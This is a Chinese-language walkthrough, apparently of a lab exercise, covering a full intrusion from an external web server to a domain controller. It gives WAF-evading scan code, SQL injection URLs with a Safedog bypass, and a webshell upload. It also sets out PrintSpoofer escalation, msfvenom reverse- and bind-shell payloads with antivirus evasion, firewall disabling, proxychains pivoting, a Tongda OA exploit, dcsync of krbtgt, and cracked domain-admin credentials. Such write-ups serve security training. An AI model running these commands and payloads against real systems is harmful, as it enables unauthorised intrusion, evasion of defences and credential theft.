记一次外网打点到内网渗透
字数 1824 2025-08-03 16:47:48
外网打点到内网渗透实战教学文档
环境配置
- 本机:
- IP: 192.168.2.161
- Web服务器:
- 外网IP: 192.168.2.114 (桥接)
- 内网IP: 10.10.1.131 (VMnet18)
- 防护: IIS安全狗、服务器安全狗、Windows Defender
- OA系统:
- 内网IP1: 10.10.1.130 (VMnet18)
- 内网IP2: 10.10.10.166 (VMnet19)
- 防护: 360全家桶
- 域控制器(DC):
- 内网IP: 10.10.10.165 (VMnet19)
网络隔离情况:
- 本机无法ping通Web服务器(防火墙阻断),但可访问其服务
- OA系统能ping通DC,但无法ping通Web服务器
外网打点阶段
1. 主机发现与端口扫描
使用工具:
netdiscover进行ARP探测masscan快速扫描端口:masscan -p 1-65535 192.168.2.114 --rate=100nmap对开放端口进行详细扫描
2. 绕过CC防护的目录扫描
安全狗拦截了御剑等常规扫描工具,需编写自定义扫描脚本:
# dir_safedog.py
import requests
import time
import sys
with open('word.txt','r',encoding='utf-8') as readfile:
for dirs in readfile.readlines():
url = 'http://www.moonlab.com' + dirs.strip('\n')
resp = requests.get(url)
strlen = len(resp.text)
print(url + '---' + str(resp.status_code) + '---len---' + str(strlen))
time.sleep(0.5)
if resp.status_code == 200 or resp.status_code == 403 or resp.status_code == 500:
with open('write.txt','a',encoding='utf-8') as writefile:
writefile.write(url + '---' + str(resp.status_code) + '---len---' + str(strlen) + '\n')
关键点:
- 添加延时(time.sleep)避免触发防护
- 记录响应长度辅助判断有效页面
3. SiteServer注入漏洞利用
发现SiteServer CMS存在SQL注入漏洞,使用修改后的POC(来自w9scan项目):
原始注入点被拦截:
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test') and db_name()=2; --
绕过技巧:
- 使用按位取反(~)绕过安全狗检测:
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test') and db_name()=~2; --
成功爆出数据:
- 用户名:
admin - 密码:
64Cic1ERUP9n2OzxuKl9Tw== - 加密类型:
Encrypted - 盐值:
LIywB/zHFDTuEA1LU53Opg==
4. 密码找回漏洞利用
通过抓包修改密保问题为空值,成功重置管理员密码。
5. 后台getshell
尝试多种webshell:
- 常规asp大马被拦截
- 过墙马无回显
- 最终使用冰蝎aspx大马成功getshell
内网渗透阶段
1. Web服务器提权
信息收集:
- 双网卡(192.168.2.114和10.10.1.131)
- User权限
- 防护: 安全狗、IIS安全狗、Windows Defender
使用PrintSpoofer提权:
PrintSpoofer64.exe -i -c "whoami"
2. 绕过Windows Defender
生成meterpreter payload:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.2.161 LPORT=2333 -e x86/shikata_ga_nai -i 15 -f csharp -o payload.txt
使用掩日工具对shellcode进行加密,最终使用Cobalt Strike免杀马成功上线。
3. 密码破解
获取系统hash后使用hashcat破解:
hashcat -a 0 -m 1000 hash.txt rockyou.txt
4. 跨网段横向渗透
网络探测
发现双网卡:
- 10.10.1.131 (已控)
- 10.10.1.130 (OA系统)
使用ARP扫描:
run arp_scanner -r 10.10.1.0/24
代理设置
使用socks4a模块建立代理通道,配置proxychains:
proxychains nmap -sT -Pn 10.10.1.130 -p 80
通达OA漏洞利用
使用tongda_shell.py脚本:
proxychains python3 tongda_shell.py http://10.10.1.130/
上传php大马进行信息收集:
- 系统权限
- 双网卡(10.10.1.130和10.10.10.166)
- 360全家桶防护
关闭防火墙:
netsh advfirewall set allprofiles state off
正向连接
生成正向木马:
msfvenom -p windows/meterpreter/bind_tcp LPORT=6666 -f exe > abc.exe
5. 域渗透
域信息收集
常用命令:
net time /domain
nltest /domain_trusts
net user /domain
net group /domain
net localgroup administrators /domain
net group "domain controllers" /domain
MSF模块:
run post/windows/gather/enum_domain
run post/windows/gather/enum_logged_on_users
run post/windows/gather/enum_ad_groups
run post/windows/gather/enum_domain_tokens
域控攻击
使用kiwi模块获取域管hash:
load kiwi
dcsync_ntlm administrator
dcsync_ntlm krbtgt
尝试psexec传递hash失败,改用RDP登录:
- 解密获取域管密码:
!@#QWEasd123. - 配置sockscap64代理
- 使用mstsc连接域控(10.10.10.165)
关键技术与技巧总结
-
绕过安全狗:
- 使用按位取反(~)绕过SQL注入检测
- 自定义扫描脚本添加延时避免CC防护
-
内网代理:
- socks4a模块建立代理通道
- proxychains配合各种工具进行内网扫描
-
权限提升:
- PrintSpoofer本地提权
- 进程迁移到x64系统进程
- steal_token获取域管权限
-
横向移动:
- 关闭目标防火墙后扫描
- 正向连接避免出网限制
- 多协议探测内网存活主机
-
域渗透:
- kiwi模块获取域管hash
- dcsync_ntlm获取krbtgt hash
- 代理+RDP方式登录域控
工具列表
- 扫描工具: masscan, nmap, netdiscover
- 漏洞利用: tongda_shell.py, siteserver poc
- 代理工具: socks4a, proxychains, sockscap64
- 后渗透: mimikatz, kiwi, hashcat, PrintSpoofer
- Webshell: 冰蝎aspx马